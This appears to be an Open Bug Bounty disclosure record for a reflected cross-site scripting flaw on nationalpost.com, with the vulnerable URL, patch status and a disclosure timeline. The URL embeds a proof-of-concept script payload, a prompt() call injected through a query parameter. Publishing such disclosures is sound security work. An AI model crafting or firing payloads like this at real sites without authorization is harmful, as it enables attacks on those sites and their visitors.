nationalpost.com XSS vulnerability

2016-09-01T16:10:00
ID OBB:179253
Type openbugbounty
Reporter iandioch
Modified 2017-07-28T10:54:00

Description

Vulnerable URL:
http://www.nationalpost.com/m/wp/tag/blog.html?b=news.nationalpost.com/news/canada/montreal-student-expelled-after-finding-data-security-threat-receives-job-scholarship-offers-while-college-refuses-to-reinstate-him&pubdate;=2016-wwwwww<>"%20%27-01&t;=tttttt%27*prompt(%27OPENBUGBOUNTY%27)*%27
Details:

Description| Value
---|---
Patched:| Yes, at 28.07.2017
Latest check for patch:| 28.07.2017 10:54 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 6868
VIP website status:| Yes
Check nationalpost.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 1 September, 2016 16:10 GMT
Generic security notifications sent to website owner| 1 September, 2016 16:13 GMT
Notification sent to subscribers (without technical details)| 1 September, 2016 18:17 GMT
Vulnerability details disclosed by researcher| 15 September, 2016 17:12 GMT
Vulnerability patched by the website owner| 28 July, 2017 10:54 GMT